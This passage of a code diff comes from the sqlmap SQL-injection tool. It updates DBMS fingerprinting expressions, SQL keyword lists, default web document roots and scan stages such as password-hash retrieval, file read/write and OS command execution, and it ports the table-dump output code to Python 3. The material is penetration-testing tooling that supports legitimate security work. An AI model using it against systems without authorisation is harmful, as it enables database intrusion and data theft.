"FROM_HEX(NULL)", + DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", + DBMS.MIMERSQL: "ASCII_CHAR(256)", + DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL", # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval + DBMS.CUBRID: "(NULL SETEQ NULL)", + DBMS.CACHE: "%EXACT(NULL)", # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here + DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", + DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", + DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", + DBMS.CLICKHOUSE: "halfMD5(NULL)", + DBMS.SNOWFLAKE: "BOOLNOT(NULL)", + DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", # also BigQuery GoogleSQL (not in DBMS) + DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)", +} SQL_STATEMENTS = { - "SQL SELECT statement": ( - "select ", - "show ", - " top ", - " distinct ", - " from ", - " from dual", - " where ", - " group by ", - " order by ", - " having ", - " limit ", - " offset ", - " union all ", - " rownum as ", - "(case ", ), - - "SQL data definition": ( - "create ", - "declare ", - "drop ", - "truncate ", - "alter ", ), - - "SQL data manipulation": ( - "bulk ", - "insert ", - "update ", - "delete ", - "merge ", - "load ", ), - - "SQL data control": ( - "grant ", - "revoke ", ), - - "SQL data execution": ( - "exec ", - "execute ", - "values ", - "call ", ), - - "SQL transaction": ( - "start transaction ", - "begin work ", - "begin transaction ", - "commit ", - "rollback ", ), - } + "SQL SELECT statement": ( + "select ", + "show ", + " top ", + " distinct ", + " from ", + " from dual", + " where ", + " group by ", + " order by ", + " having ", + " limit ", + " offset ", + " union all ", + " rownum as ", + "(case ", + ), + + "SQL data definition": ( + "create ", + "declare ", + "drop ", + "truncate ", + "alter ", + ), + + "SQL data manipulation": ( + "bulk ", + "insert ", + "update ", + "delete ", + "merge ", + "copy ", + "load ", + ), + + "SQL data control": ( + "grant ", + "revoke ", + ), + + "SQL data execution": ( + "exec ", + "execute ", + "values ", + "call ", + ), + + "SQL transaction": ( + "start transaction ", + "begin work ", + "begin transaction ", + "commit ", + "rollback ", + ), + + "SQL administration": ( + "set ", + ), +} POST_HINT_CONTENT_TYPES = { - POST_HINT.JSON: "application/json", - POST_HINT.JSON_LIKE: "application/json", - POST_HINT.MULTIPART: "multipart/form-data", - POST_HINT.SOAP: "application/soap+xml", - POST_HINT.XML: "application/xml", - POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", - } + POST_HINT.JSON: "application/json", + POST_HINT.JSON_LIKE: "application/json", + POST_HINT.GRPC_WEB: "application/grpc-web-text", + POST_HINT.MULTIPART: "multipart/form-data", + POST_HINT.SOAP: "application/soap+xml", + POST_HINT.XML: "application/xml", + POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", +} + +OBSOLETE_OPTIONS = { + "--replicate": "use '--dump-format=SQLITE' instead", + "--no-unescape": "use '--no-escape' instead", + "--binary": "use '--binary-fields' instead", + "--auth-private": "use '--auth-file' instead", + "--ignore-401": "use '--ignore-code' instead", + "--second-order": "use '--second-url' instead", + "--purge-output": "use '--purge' instead", + "--sqlmap-shell": "use '--shell' instead", + "--check-payload": None, + "--check-waf": None, + "--pickled-options": "use '--api -c ...' instead", + "--identify-waf": "functionality being done automatically", +} DEPRECATED_OPTIONS = { - "--replicate": "use '--dump-format=SQLITE' instead", - "--no-unescape": "use '--no-escape' instead", - "--binary": "use '--binary-fields' instead", - "--auth-private": "use '--auth-file' instead", - "--check-payload": None, - "--check-waf": None, - } +} DUMP_DATA_PREPROCESS = { - DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643 - DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, - } + DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, + DBMS.MSSQL: { + "IMAGE": "CONVERT(VARBINARY(MAX),%s)", + "GEOMETRY": "(%s).STAsText()", + "GEOGRAPHY": "(%s).STAsText()" + }, + DBMS.PGSQL: { + "GEOMETRY": "ST_AsText(%s)", + "GEOGRAPHY": "ST_AsText(%s)" + }, + DBMS.MYSQL: { + "GEOMETRY": "ST_AsText(%s)" + } +} DEFAULT_DOC_ROOTS = { - OS.WINDOWS: ("C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"), - OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout - } + OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), + OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html") +} + +PART_RUN_CONTENT_TYPES = { + "checkDbms": CONTENT_TYPE.TECHNIQUES, + "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, + "getBanner": CONTENT_TYPE.BANNER, + "getCurrentUser": CONTENT_TYPE.CURRENT_USER, + "getCurrentDb": CONTENT_TYPE.CURRENT_DB, + "getHostname": CONTENT_TYPE.HOSTNAME, + "isDba": CONTENT_TYPE.IS_DBA, + "getUsers": CONTENT_TYPE.USERS, + "getPasswordHashes": CONTENT_TYPE.PASSWORDS, + "getPrivileges": CONTENT_TYPE.PRIVILEGES, + "getRoles": CONTENT_TYPE.ROLES, + "getDbs": CONTENT_TYPE.DBS, + "getTables": CONTENT_TYPE.TABLES, + "getColumns": CONTENT_TYPE.COLUMNS, + "getSchema": CONTENT_TYPE.SCHEMA, + "getCount": CONTENT_TYPE.COUNT, + "dumpTable": CONTENT_TYPE.DUMP_TABLE, + "search": CONTENT_TYPE.SEARCH, + "sqlQuery": CONTENT_TYPE.SQL_QUERY, + "getStatements": CONTENT_TYPE.STATEMENTS, + "getProcs": CONTENT_TYPE.PROCEDURES, + "tableExists": CONTENT_TYPE.COMMON_TABLES, + "columnExists": CONTENT_TYPE.COMMON_COLUMNS, + "readFile": CONTENT_TYPE.FILE_READ, + "writeFile": CONTENT_TYPE.FILE_WRITE, + "osCmd": CONTENT_TYPE.OS_CMD, + "regRead": CONTENT_TYPE.REG_READ +} + +# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html + +HTML_ENTITIES = { + "quot": 34, + "amp": 38, + "apos": 39, + "lt": 60, + "gt": 62, + "nbsp": 160, + "iexcl": 161, + "cent": 162, + "pound": 163, + "curren": 164, + "yen": 165, + "brvbar": 166, + "sect": 167, + "uml": 168, + "copy": 169, + "ordf": 170, + "laquo": 171, + "not": 172, + "shy": 173, + "reg": 174, + "macr": 175, + "deg": 176, + "plusmn": 177, + "sup2": 178, + "sup3": 179, + "acute": 180, + "micro": 181, + "para": 182, + "middot": 183, + "cedil": 184, + "sup1": 185, + "ordm": 186, + "raquo": 187, + "frac14": 188, + "frac12": 189, + "frac34": 190, + "iquest": 191, + "Agrave": 192, + "Aacute": 193, + "Acirc": 194, + "Atilde": 195, + "Auml": 196, + "Aring": 197, + "AElig": 198, + "Ccedil": 199, + "Egrave": 200, + "Eacute": 201, + "Ecirc": 202, + "Euml": 203, + "Igrave": 204, + "Iacute": 205, + "Icirc": 206, + "Iuml": 207, + "ETH": 208, + "Ntilde": 209, + "Ograve": 210, + "Oacute": 211, + "Ocirc": 212, + "Otilde": 213, + "Ouml": 214, + "times": 215, + "Oslash": 216, + "Ugrave": 217, + "Uacute": 218, + "Ucirc": 219, + "Uuml": 220, + "Yacute": 221, + "THORN": 222, + "szlig": 223, + "agrave": 224, + "aacute": 225, + "acirc": 226, + "atilde": 227, + "auml": 228, + "aring": 229, + "aelig": 230, + "ccedil": 231, + "egrave": 232, + "eacute": 233, + "ecirc": 234, + "euml": 235, + "igrave": 236, + "iacute": 237, + "icirc": 238, + "iuml": 239, + "eth": 240, + "ntilde": 241, + "ograve": 242, + "oacute": 243, + "ocirc": 244, + "otilde": 245, + "ouml": 246, + "divide": 247, + "oslash": 248, + "ugrave": 249, + "uacute": 250, + "ucirc": 251, + "uuml": 252, + "yacute": 253, + "thorn": 254, + "yuml": 255, + "OElig": 338, + "oelig": 339, + "Scaron": 352, + "fnof": 402, + "scaron": 353, + "Yuml": 376, + "circ": 710, + "tilde": 732, + "Alpha": 913, + "Beta": 914, + "Gamma": 915, + "Delta": 916, + "Epsilon": 917, + "Zeta": 918, + "Eta": 919, + "Theta": 920, + "Iota": 921, + "Kappa": 922, + "Lambda": 923, + "Mu": 924, + "Nu": 925, + "Xi": 926, + "Omicron": 927, + "Pi": 928, + "Rho": 929, + "Sigma": 931, + "Tau": 932, + "Upsilon": 933, + "Phi": 934, + "Chi": 935, + "Psi": 936, + "Omega": 937, + "alpha": 945, + "beta": 946, + "gamma": 947, + "delta": 948, + "epsilon": 949, + "zeta": 950, + "eta": 951, + "theta": 952, + "iota": 953, + "kappa": 954, + "lambda": 955, + "mu": 956, + "nu": 957, + "xi": 958, + "omicron": 959, + "pi": 960, + "rho": 961, + "sigmaf": 962, + "sigma": 963, + "tau": 964, + "upsilon": 965, + "phi": 966, + "chi": 967, + "psi": 968, + "omega": 969, + "thetasym": 977, + "upsih": 978, + "piv": 982, + "bull": 8226, + "hellip": 8230, + "prime": 8242, + "Prime": 8243, + "oline": 8254, + "frasl": 8260, + "ensp": 8194, + "emsp": 8195, + "thinsp": 8201, + "zwnj": 8204, + "zwj": 8205, + "lrm": 8206, + "rlm": 8207, + "ndash": 8211, + "mdash": 8212, + "lsquo": 8216, + "rsquo": 8217, + "sbquo": 8218, + "ldquo": 8220, + "rdquo": 8221, + "bdquo": 8222, + "dagger": 8224, + "Dagger": 8225, + "permil": 8240, + "lsaquo": 8249, + "rsaquo": 8250, + "euro": 8364, + "weierp": 8472, + "image": 8465, + "real": 8476, + "trade": 8482, + "alefsym": 8501, + "larr": 8592, + "uarr": 8593, + "rarr": 8594, + "darr": 8595, + "harr": 8596, + "crarr": 8629, + "lArr": 8656, + "uArr": 8657, + "rArr": 8658, + "dArr": 8659, + "hArr": 8660, + "forall": 8704, + "part": 8706, + "exist": 8707, + "empty": 8709, + "nabla": 8711, + "isin": 8712, + "notin": 8713, + "ni": 8715, + "prod": 8719, + "sum": 8721, + "minus": 8722, + "lowast": 8727, + "radic": 8730, + "prop": 8733, + "infin": 8734, + "ang": 8736, + "and": 8743, + "or": 8744, + "cap": 8745, + "cup": 8746, + "int": 8747, + "there4": 8756, + "sim": 8764, + "cong": 8773, + "asymp": 8776, + "ne": 8800, + "equiv": 8801, + "le": 8804, + "ge": 8805, + "sub": 8834, + "sup": 8835, + "nsub": 8836, + "sube": 8838, + "supe": 8839, + "oplus": 8853, + "otimes": 8855, + "perp": 8869, + "sdot": 8901, + "lceil": 8968, + "rceil": 8969, + "lfloor": 8970, + "rfloor": 8971, + "lang": 9001, + "rang": 9002, + "loz": 9674, + "spades": 9824, + "clubs": 9827, + "hearts": 9829, + "diams": 9830 +} diff --git a/lib/core/dump.py b/lib/core/dump.py index 058f5d9e9e3..cff21165911 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,30 +1,41 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import cgi import hashlib +import json import os import re +import shutil import tempfile import threading from lib.core.common import Backend +from lib.core.common import checkFile +from lib.core.common import clearColors from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout +from lib.core.common import filterNone from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import isListLike +from lib.core.common import isNoneValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt from lib.core.common import safeCSValue -from lib.core.common import unicodeencode +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getBytes +from lib.core.convert import getConsoleLength +from lib.core.convert import stdoutEncode +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.convert import htmlEscape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -34,19 +45,26 @@ from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT from lib.core.exception import SqlmapGenericException -from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapValueException from lib.core.replication import Replication +from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD +from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN from lib.core.settings import METADB_SUFFIX from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE +from lib.core.settings import SQLITE_INT_MAX +from lib.core.settings import SQLITE_INT_MIN from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT +from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES +from lib.utils.safe2bin import safechardecode +from thirdparty import six from thirdparty.magic import magic - -from extra.safe2bin.safe2bin import safechardecode +from collections import OrderedDict class Dump(object): """ @@ -60,29 +78,43 @@ def __init__(self): self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): - if hasattr(conf, "api"): - dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) - return - text = "%s%s" % (data, "\n" if newline else " ") - if console: - dataToStdout(text) + if conf.api: + dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE) - if kb.get("multiThreadMode"): - self._lock.acquire() + elif console: + dataToStdout(text) - try: - self._outputFP.write(text) - except IOError, ex: - errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) - raise SqlmapGenericException(errMsg) + if self._outputFP: + multiThreadMode = kb.multiThreadMode + if multiThreadMode: + self._lock.acquire() - if kb.get("multiThreadMode"): - self._lock.release() + try: + self._outputFP.write(text) + except IOError as ex: + errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + finally: + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True + def _reportData(self, data, content_type): + """ + --report-json: capture a structured result exactly as the REST API would store it (the raw + value + COMPLETE status), independent of console/file rendering. No-op unless a report + collector is active - which is only ever the case for a CLI --report-json run, never under + --api - so this never double-captures alongside StdDbOut. A None content_type is resolved + via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly. + """ + + if conf.get("reportCollector") is not None: + from lib.utils.api import _storeData, REPORT_TASKID + _storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type) + def flush(self): if self._outputFP: try: @@ -91,59 +123,68 @@ def flush(self): pass def setOutputFile(self): + if conf.noLogging: + self._outputFP = None + return + self._outputFile = os.path.join(conf.outputPath, "log") try: - self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") - except IOError, ex: + self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w') + except IOError as ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - def getOutputFile(self): - return self._outputFile - def singleString(self, data, content_type=None): + self._reportData(data, content_type) self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): - kb.stickyLevel = None + self._reportData(data, content_type) - if hasattr(conf, "api"): + if conf.api: self._write(data, content_type=content_type) - return + + if isListLike(data) and len(data) == 1: + data = unArrayizeValue(data) if isListLike(data): self.lister(header, data, content_type, sort) elif data is not None: _ = getUnicode(data) - if _ and _[-1] == '\n': + if _.endswith("\r\n"): + _ = _[:-2] + + elif _.endswith("\n"): _ = _[:-1] + if _.strip(' '): + _ = _.strip(' ') + if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: - self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) - else: - self._write("%s:\tNone" % header) + self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) def lister(self, header, elements, content_type=None, sort=True): if elements and sort: try: elements = set(elements) elements = list(elements) - elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + elements.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) except: pass - if hasattr(conf, "api"): + self._reportData(elements, content_type) + + if conf.api: self._write(elements, content_type=content_type) - return if elements: self._write("%s [%d]:" % (header, len(elements))) for element in elements: - if isinstance(element, basestring): + if isinstance(element, six.string_types): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) @@ -158,10 +199,10 @@ def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.isDbms(DBMS.MAXDB): - self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB): - self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.HANA): + self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): + self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) @@ -174,6 +215,12 @@ def dba(self, data): def users(self, users): self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) + def statements(self, statements): + self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + + def procedures(self, procedures): + self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() @@ -181,20 +228,21 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = userSettings[1] userSettings = userSettings[0] - users = userSettings.keys() - users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + users = [_ for _ in userSettings.keys() if _ is not None] + users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + + self._reportData(userSettings, content_type) - if hasattr(conf, "api"): + if conf.api: self._write(userSettings, content_type=content_type) - return if userSettings: self._write("%s:" % header) for user in users: - settings = userSettings[user] + settings = filterNone(userSettings[user]) - if settings is None: + if isNoneValue(settings): stringSettings = "" else: stringSettings = " [%d]:" % len(settings) @@ -218,9 +266,10 @@ def dbs(self, dbs): def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: - if hasattr(conf, "api"): + self._reportData(dbTables, CONTENT_TYPE.TABLES) + + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) - return maxlength = 0 @@ -229,14 +278,14 @@ def dbTables(self, dbTables): if table and isListLike(table): table = table[0] - maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or unicode(table)))) + maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): - tables.sort() + tables = sorted(filter(None, tables)) - self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") + self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") if len(tables) == 1: self._write("[1 table]") @@ -250,7 +299,7 @@ def dbTables(self, dbTables): table = table[0] table = unsafeSQLIdentificatorNaming(table) - blank = " " * (maxlength - len(normalizeUnicode(table) or unicode(table))) + blank = " " * (maxlength - getConsoleLength(getUnicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) @@ -261,9 +310,10 @@ def dbTables(self, dbTables): def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: - if hasattr(conf, "api"): + self._reportData(tableColumns, content_type) + + if conf.api: self._write(tableColumns, content_type=content_type) - return for db, tables in tableColumns.items(): if not db: @@ -273,43 +323,44 @@ def dbTableColumns(self, tableColumns, content_type=None): maxlength1 = 0 maxlength2 = 0 - colType = None + colList = list(columns.keys()) + colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) - colList = columns.keys() - colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + # Note: decide the layout by whether ANY column carries a type, not by the last + # column iterated; otherwise a mixed table (some columns typed, some not) whose + # alphabetically-last column is type-less renders a header/body column mismatch + hasType = any(columns[_] is not None for _ in colList) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) - maxlength1 = max(maxlength1, len(column or "")) - maxlength2 = max(maxlength2, len(colType or "")) + maxlength1 = max(maxlength1, getConsoleLength(column or "")) + maxlength2 = max(maxlength2, getConsoleLength(colType or "")) maxlength1 = max(maxlength1, len("COLUMN")) lines1 = "-" * (maxlength1 + 2) - if colType is not None: + if hasType: maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) - self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) + self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") else: self._write("[%d columns]" % len(columns)) - if colType is not None: + if hasType: self._write("+%s+%s+" % (lines1, lines2)) else: self._write("+%s+" % lines1) blank1 = " " * (maxlength1 - len("COLUMN")) - if colType is not None: + if hasType: blank2 = " " * (maxlength2 - len("TYPE")) - - if colType is not None: self._write("| Column%s | Type%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) else: @@ -320,24 +371,26 @@ def dbTableColumns(self, tableColumns, content_type=None): colType = columns[column] column = unsafeSQLIdentificatorNaming(column) - blank1 = " " * (maxlength1 - len(column)) + blank1 = " " * (maxlength1 - getConsoleLength(column)) - if colType is not None: - blank2 = " " * (maxlength2 - len(colType)) + if hasType: + colType = colType or "" + blank2 = " " * (maxlength2 - getConsoleLength(colType)) self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) else: self._write("| %s%s |" % (column, blank1)) - if colType is not None: + if hasType: self._write("+%s+%s+\n" % (lines1, lines2)) else: self._write("+%s+\n" % lines1) def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: - if hasattr(conf, "api"): + self._reportData(dbTables, CONTENT_TYPE.COUNT) + + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) - return maxlength1 = len("Table") maxlength2 = len("Entries") @@ -345,10 +398,10 @@ def dbTablesCount(self, dbTables): for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: - maxlength1 = max(maxlength1, len(normalizeUnicode(table) or unicode(table))) + maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) for db, counts in dbTables.items(): - self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") + self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) @@ -359,7 +412,7 @@ def dbTablesCount(self, dbTables): self._write("| Table%s | Entries%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) - sortedCounts = counts.keys() + sortedCounts = list(counts.keys()) sortedCounts.sort(reverse=True) for count in sortedCounts: @@ -368,10 +421,10 @@ def dbTablesCount(self, dbTables): if count is None: count = "Unknown" - tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: - blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) + blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) @@ -394,58 +447,92 @@ def dbTableValues(self, tableValues): db = "All" table = tableValues["__infos__"]["table"] - if hasattr(conf, "api"): + safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) + safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + + self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE) + + if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) - return - _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(db))) - if len(_) < len(db) or IS_WIN and db.upper() in WINDOWS_RESERVED_NAMES: - _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) - dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) - warnFile = True - else: - dumpDbPath = os.path.join(conf.dumpPath, _) + try: + dumpDbPath = os.path.join(conf.dumpPath, safeDb) + except UnicodeError: + try: + dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(safeDb)) + except (UnicodeError, OSError): + tempDir = tempfile.mkdtemp(prefix="sqlmapdb") + warnMsg = "currently unable to use regular dump directory. " + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warning(warnMsg) + + dumpDbPath = tempDir if conf.dumpFormat == DUMP_FORMAT.SQLITE: - replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb)) + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if not os.path.isdir(dumpDbPath): try: - os.makedirs(dumpDbPath, 0755) - except (OSError, IOError), ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmapdb") - except IOError, _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) - - warnMsg = "unable to create dump directory " - warnMsg += "'%s' (%s). " % (dumpDbPath, ex) - warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) - - dumpDbPath = tempDir - - _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table))) - if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: - _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table))) - dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) - warnFile = True + os.makedirs(dumpDbPath) + except: + warnFile = True + dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (safeDb, hashlib.md5(getBytes(db)).hexdigest()[:8])) + + if not os.path.isdir(dumpDbPath): + try: + os.makedirs(dumpDbPath) + except Exception as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapdb") + warnMsg = "unable to create dump directory " + warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warning(warnMsg) + + dumpDbPath = tempDir + + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) + + if not checkFile(dumpFileName, False): + try: + openFile(dumpFileName, "w+").close() + except SqlmapSystemException: + raise + except: + warnFile = True + if IS_WIN and safeTable.upper() in WINDOWS_RESERVED_NAMES: + dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (safeTable, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) + else: + dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) else: - dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) + appendToFile = any((conf.limitStart, conf.limitStop)) - appendToFile = os.path.isfile(dumpFileName) and any((conf.limitStart, conf.limitStop)) - dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab") + if not appendToFile: + count = 1 + while True: + candidate = "%s.%d" % (dumpFileName, count) + if not checkFile(candidate, False): + try: + shutil.copyfile(dumpFileName, candidate) + except IOError: + pass + break + else: + count += 1 + + dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', 